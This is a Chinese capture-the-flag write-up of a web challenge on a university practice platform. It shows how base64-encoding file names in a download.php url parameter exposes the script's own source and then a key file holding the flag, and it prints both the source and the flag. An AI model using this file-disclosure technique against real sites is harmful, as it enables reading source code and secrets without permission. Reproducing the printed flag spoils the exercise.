南京邮电CTF平台做题writeup--web--Download~

网址提供了两首歌的下载链接，分别为

http://way.nuptzj.cn/web6/download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=

http://way.nuptzj.cn/web6/download.php?url=YnV4aWFuZ3poYW5nZGEubXAz

可见下载文件名称以base64加密形式出现，于是构造download.php的base64加密ZG93bmxvYWQucGhw

访问http://way.nuptzj.cn/web6/download.php?url=ZG93bmxvYWQucGhw下载download.php

download.php

??<?php
error_reporting(0);
include("hereiskey.php");
$url=base64_decode($_GET[url]);
if( $url=="hereiskey.php" || $url=="buxiangzhangda.mp3" || $url=="xingxingdiandeng.mp3" || $url=="download.php"){
    $file_size = filesize($url);
    header ( "Pragma: public" );
    header ( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
    header ( "Cache-Control: private", false );
    header ( "Content-Transfer-Encoding: binary" );
    header ( "Content-Type:audio/mpeg MP3");
    header ( "Content-Length: " . $file_size);
    header ( "Content-Disposition: attachment; filename=".$url);
    echo(file_get_contents($url));
    exit;
}
else {
    echo "Access Forbidden!";
}
?>

发现hereiskey.php同理下载hereiskey.php

?<?php
//flag:nctf{download_any_file_666}
?>